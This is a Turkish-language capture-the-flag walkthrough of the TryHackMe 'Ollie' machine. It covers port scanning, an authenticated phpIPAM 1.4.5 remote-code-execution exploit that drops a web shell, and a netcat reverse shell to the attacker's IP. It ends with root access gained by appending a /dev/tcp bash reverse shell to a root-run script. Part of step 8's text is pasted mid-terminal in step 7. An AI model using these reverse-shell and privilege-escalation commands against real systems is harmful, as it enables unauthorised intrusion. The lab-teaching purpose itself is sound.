TryHackMe – Ollie Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Ollie” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV -p- 10.10.111.200
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-10 11:31 +03
Nmap scan report for 10.10.111.200
Host is up (0.065s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
1337/tcp open  waste?

2 — Netcat ile 1337 portuna gittiğimde bana birtakım sorular soruyor. Resimdeki köpeğin cinsini soruyor. “Bulldog” diyerek doğru cevabı veriyorum ve bana “admin” ve parola bilgilerini veriyor.

[root:/home/alper/Desktop/TRYHACKME]# nc 10.10.111.200 1337
Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.

What is your name? Alper
What's up, Alper! It's been a while. What are you here for? file
Ya' know what? Alper. If you can answer a question about me, I might have something for you.


What breed of dog am I? I'll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf? Bulldog
You are correct! Let me confer with my trusted colleagues; Benny, Baxter and Connie...
Please hold on a minute
Ok, I'm back.
After a lengthy discussion, we've come to the conclusion that you are the right person for the job.Here are the credentials for our administration panel.

                    Username: admin

                    Password: *CENSORED*

PS: Good luck and next time bring some treats!

3 — HTTP servisine gittiğimde “phpIPAM 1.4.5” bilgilerini görüyorum. Searchsploit ile exploit arıyorum.

[root:/home/alper/Desktop/TRYHACKME]# searchsploit "phpIPAM 1.4.5"
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                                                                              |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
phpIPAM 1.4.5 - Remote Code Execution (RCE) (Authenticated)                                                                                                                                                 | php/webapps/50963.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
[root:/home/alper/Desktop/TRYHACKME]# searchsploit -m 50963
  Exploit: phpIPAM 1.4.5 - Remote Code Execution (RCE) (Authenticated)
      URL: https://www.exploit-db.com/exploits/50963
     Path: /usr/share/exploitdb/exploits/php/webapps/50963.py
    Codes: N/A
 Verified: False
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/alper/Desktop/TRYHACKME/50963.py

4 — Expoiti çalıştırararak içeriye bir shell yüklüyorum.

[root:/home/alper/Desktop/TRYHACKME]# python3 50963.py -url http://10.10.111.200 -usr admin -pwd *CENSORED*
*
*
[...] Trying to log in as admin
[+] Login successful!
[...] Exploiting
[+] Success! The shell is located at http://10.10.111.200/evil.php. Parameter: cmd


[+] Output:
1  uid=33(www-data) gid=33(www-data) groups=33(www-data)

5 — Shell dosyasına parametre olarak “unix reverse shell” verip bağlanmayı bekliyorum.

http://10.10.111.200/evil.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.8.94.51%204444%20%3E%2Ftmp%2Ff
[root:/home/alper/Desktop/TRYHACKME]# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.111.200 54232
sh: 0: can't access tty; job control turned off
$ whoami
www-data

6 — “1337” portunda bize verilen parola ile ollie kullanıcısına geçiş yapıyorum ve ilk bayrağı elde ediyorum.

$ SHELL=/bin/bash script -q /dev/null
www-data@hackerdog:/var/www/html$ su ollie
su ollie
Password: *CENSORED*

ollie@hackerdog:/var/www/html$ cd /home/ollie
cd /home/ollie
ollie@hackerdog:~$ ls
ls
user.txt
ollie@hackerdog:~$ cat user.txt
cat user.txt
*CENSORED*

7 — Daha sonra “pspy64” aracı ile sistemdeki çalışan işlemlere bakıyorum. “Pspy64” aracı, Linux tabanlı sistemlerde kullanılan bir izleme aracıdır. İzleme işlemleri sırasında, sistemde çalışan işlemleri, bu işlemlerin kullandığı sistem çağrılarını (system calls) ve ilgili dosya/klasör değişikliklerini gösterir. Biraz bekledikten sonra “/usr/bin/feedme” komutunun çalıştırıldığını görüyorum.

ollie@hackerdog:/tmp$ wget http://10.8.94.51:8000/pspy64
wget http://10.8.94.51:8000/pspy64
--2023-06-10 08:53:06--  http://10.8.94.51:8000/pspy64
Connecting to 10.8.94.51:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              100%[===================>]   2.96M  4.25MB/s    in 0.7s    

2023-06-10 08:53:07 (4.25 MB/s) - ‘pspy64’ saved [3104768/3104768]

ollie@hackerdog:/tmp$ chmod +x pspy64
chmod +x pspy64
ollie@hackerdog:8 - "/usr/bin/feedme" komutunun içine baktığımda hiçbişey olmadığını görüyorum. Ollie kullanısının yazma yetkisinden faydalanarak dosyanın içine bir bash reverse shell yerleştirerek bağlanmayı bekliyorum./tmp$ ./pspy64
*
*
2023/06/10 08:54:00 CMD: UID=0     PID=2263   | /bin/bash /usr/bin/feedme
*

8 — “/usr/bin/feedme” komutunun içine baktığımda hiçbişey olmadığını görüyorum. Ollie kullanısının yazma yetkisinden faydalanarak dosyanın içine bir bash reverse shell yerleştirerek bağlanmayı bekliyorum.

ollie@hackerdog:/var/www/html$ cat /usr/bin/feedme
cat /usr/bin/feedme
#!/bin/bash

# This is weird?
ollie@hackerdog:/var/www/html$ echo 'bash -i >& /dev/tcp/10.8.94.51/4445 0>&1' >> /usr/bin/feedme
<& /dev/tcp/10.8.94.51/4445 0>&1' >> /usr/bin/feedme
ollie@hackerdog:/var/www/html$ 

9 — Bağlantı kurduktan sonra ikinci bayrağı da elde ediyorum.

[root:/home/alper/Desktop/TRYHACKME]# nc -lvnp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.111.200 56802
bash: cannot set terminal process group (2401): Inappropriate ioctl for device
bash: no job control in this shell
root@hackerdog:/# cd /root
cd /root
root@hackerdog:~# cat root.txt
cat root.txt
*CENSORED*